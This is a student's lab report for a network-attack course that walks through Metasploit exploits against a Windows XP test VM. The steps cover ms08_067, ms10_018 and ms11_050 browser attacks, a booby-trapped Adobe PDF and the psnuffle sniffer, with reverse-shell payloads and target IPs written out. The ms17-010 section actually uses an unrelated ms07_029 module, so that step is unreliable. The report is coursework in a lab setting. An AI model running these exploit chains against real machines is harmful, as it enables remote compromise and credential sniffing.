2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp6 MSF基础应用
一、实验任务
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.一个主动攻击实践,如ms08_067;
2.一个针对浏览器的攻击,如ms11_050;
3.一个针对客户端的攻击,如Adobe;
4.成功应用任何一个辅助模块。
5.基础问题回答。
二、实验原理
1.MSF的六个主要模块:
①渗透攻击模块Exploit
:利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
②辅助模块Auxiliary
:能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
③攻击载荷Payload
:是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。如,Single
,Stager
,Stages
。
④空字段模块Nop
:是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置。
⑤编码模块Encoders
: 针对payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征。
⑥后渗透攻击模块Post
:支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
2.MSF的三种用户操作界面:
①msfconsole
!查看模块的具体信息:info [exploits|auxiliary|post|payloads|encoders|nops]
!查看设置信息:show [options]
!查看攻击目标类型:show [target]
!查找命令:search
!查找2018年产生的在windows平台下的漏洞:search ms18(或CNE:2018) type:exploit platform:windows
②webgui
③Armitage
!启动服务器service postgresql start
!启动armitagearmitage
三、实验步骤
【任务一:主动攻击实践】
【检查虚拟机】
1.原理:实验开始前,检查攻击机和靶机之间能够相互ping通。
2.攻击机Kali成功ping通靶机XP;
3.靶机XP成功ping通攻击机Kali;
【ms08-067】
1.原理:ms08_067_netapi
是一款Metasploit
中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
2.攻击机Kali:192.168.40.130
;靶机Windows XP:192.168.40.134
。
3.攻击机使用命令nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.40.134
探测靶机是否存在该漏洞,存在漏洞,如下图;
4.使用命令msfconsole
启动msf控制台,通过命令search ms08-067
查看漏洞的渗透模块;
5.使用命令use exploit/windows/smb/ms08_067_netapi
进入该模块,然后使用命令show payloads
显示有效的攻击载荷;
6.使用命令set payload generic/shell_reverse_tcp
设置攻击的载荷,使用命令show options
可以查看到进行攻击需要设置的参数,Required
的列表下标记为yes
的为必须设置的项;
7.使用以下命令设置攻击机的IP和靶机的IP,set LHOST 192.168.40.130
,set RHOST 192.168.40.134
;
8.输入exploit
命令进行攻击;
9.使用ipconfig /all
命令来验证连接结果;
【ms17-010】
1.攻击机Kali:192.168.40.130
;靶机Windows XP:192.168.40.134
。
2.攻击机使用nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.40.134
命令来探测靶机是否存在该漏洞。
3.使用命令msfconsole
启动msf控制台,通过命令search ms17-010
查看漏洞的渗透模块;
4.使用命令use exploit/windows/smb/ms07_029_msdns_zonename
进入该模块,然后使用命令show payloads
显示有效的攻击载荷;
5.使用set payload generic/shell_reverse_tcp
命令设置攻击的载荷,使用以下命令设置攻击机的IP和靶机的IP,set LHOST 192.168.40.130
,set RHOST 192.168.40.134
;
6.输入exploit
命令进行攻击;
【任务二:针对浏览器的攻击】
【ms10-018】
1.攻击机Kali:192.168.40.130
;靶机Windows XP:192.168.40.134
。
2.使用命令msfconsole
启动msf控制台,通过命令search ms10-018
查看漏洞的渗透模块;
3.使用命令use exploit/windows/browser/ms10_018_ie_behaviors
进入该模块,然后使用命令show payloads
显示有效的攻击载荷;
4.使用set payload windows/meterpreter/reverse_tcp
命令设置攻击的载荷,使用以下命令设置攻击机的IP和靶机的IP,set LHOST 192.168.40.130
,set RHOST 192.168.40.134
;
5.使用命令set LPORT 5202
命令设置攻击机端口,使用命令set SRVHOST 192.168.40.130
设置服务器IP;
6.使用exploit
命令开始攻击,我们发现生成了一个网址,我们将这个网址复制到靶机的浏览器中,然后可以在攻击机中观察到攻击成功的过程。
7.使用sessions
指令查看安所有的会话信息,通过sessions -i 1
命令进入一个会话,然后发现可以获得浏览器所在的宿主机的终端,使用dir
指令查看,如下图;
【原创:ms11-050】!原创!
1.攻击机Kali:192.168.40.130
;靶机Windows XP:192.168.40.134
。
2.使用命令msfconsole
启动msf控制台,通过命令search ms11_050
查看漏洞的渗透模块;
3.输入命令use windows/browser/ms11_050_mshtml_cobjectelement
使用该模块,然后使用命令info
来查看该模块的信息,这个命令就相当于show targets
和show options
的结合,结果如下;
4.使用命令set payload windows/meterpreter/reverse_tcp
命令设置攻击的载荷,使用以下命令设置攻击机的IP和靶机的IP,set LHOST 192.168.40.130
,set RHOST 192.168.40.134
;
5.使用命令set LPORT 5202
命令设置攻击机端口,使用命令set SRVHOST 192.168.40.130
设置服务器IP,如下;
6.输入exploit
指令开始攻击,攻击成功后会生成靶机需要访问的网址,如下;
7.我们将这个网址复制到靶机的浏览器中,然后可以在攻击机中观察到攻击成功的过程。
8.使用sessions
指令查看安所有的会话信息,通过sessions -i 1
命令进入一个会话,然后发现可以获得浏览器所在的宿主机的终端,使用dir
指令查看,如下图;
【任务三:针对客户端的攻击:Adobe】
1.攻击机Kali:192.168.40.130
;靶机Windows XP:192.168.40.134
。
2.使用命令msfconsole
启动msf控制台,使用命令search adobe
来查找Adobe
的漏洞。
3.使用命令use windows/fileformat/adobe_cooltype_sing
设置漏洞。
4.使用命令set LHOST 192.168.40.130
设置攻击者地址,使用命令set FILENAME 20175202gxy.pdf
设置生成pdf文件的文件名,使用exploit
命令生成。
5.生成的文件存储到/root/.msf4/local
路径中,需要将文件拖拽到靶机中,我们预先通过命令行将文件复制到主目录下cp /root/.msf4/local/20175202gxy.pdf /home/20175202gxy.pdf
;
6.将生成的文件拖拽到靶机之中,然后back
指令退出当前模块,进入监听模块。
7.先将文件20175202gxy.pdf
从攻击机拖拽到主机中,然后再从主机托抓到靶机中,在靶机中使用双击打开20175205Hy.pdf,攻击成功。
【任务四:成功应用任何一个辅助模块:Sniffer嗅探器】
1.首先使用命令msfconsole
启动msf控制台,然后使用指令show auxiliary
可以查看所有的辅助模块。
2.这里我们选择Sniffer嗅探器模块,首先使用命令use auxiliary/sniffer/psnuffle
进入嗅探器模块。然后输入命令show options
可以查看需要设置的参数。
3.输入命令set RHOST 192.168.40.134
设置靶机。
4.输入指令run
开始捕获,接下来在靶机中启动浏览器就可以查看到嗅探器捕获的记录;
四、实验过程中遇到的问题
1.问题:攻击机Kali在ping靶机XP时,显示ping通却没有显示发送和接收,如下;
解决:将靶机XP的防火墙关闭,重新尝试,解决了问题。
2.问题:攻击不成功,靶机没有反应,后来发现是是漏洞和靶机系统版本不匹配,开始使用的靶机XP版本如下;
解决:查看攻击模块的靶机信息,换了一个新的XP英文版虚拟机,成功匹配了系统,解决了问题,后面的攻击都自然而然的成功了。
五、问题的回答
1.用自己的话解释什么是exploit,payload,encode.
回答:①exploit是指渗透攻击。这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个对靶机进行攻击。
②payload是个载荷。比如一个后门,通过什么平台下的基于什么软件的连接方式,可以通过此项来设置。
③encode是一个编码器,把比如shellcode存在一些特征码,本来容易被靶机安全软件所察觉,用了这个编码器中的编码后就打乱了特征码,从而迷惑靶机。
六、实验心得与体会
本次实验的内容为MSF基础应用,实验整体难度不大,比较简单按照步骤一步步完成就可以了。但是开始的环境问题是个大问题,本以为随便找一台虚拟机就可以作为靶机。但是发现漏洞不能攻击成功,因为漏洞和靶机系统版本不匹配。后来换了XP虚拟机,但是发现中文版的XP是会拒绝访问的。最后通过查看攻击模块中的靶机信息,更换成了英文版的XP虚拟机,成功匹配了系统,终于对靶机攻击成功了,后面的攻击也就一直顺丰顺水的成功了。这个问题也充分说明了这个漏洞攻击的缺陷,只能针对非常特定的靶机,这如果在非实验环境下是很难成功的。这次实验还是让我认识到了很多,整合了我的知识体系,希望以后的实验中,自己也能保持这种细致和耐心,争取收获更多的知识。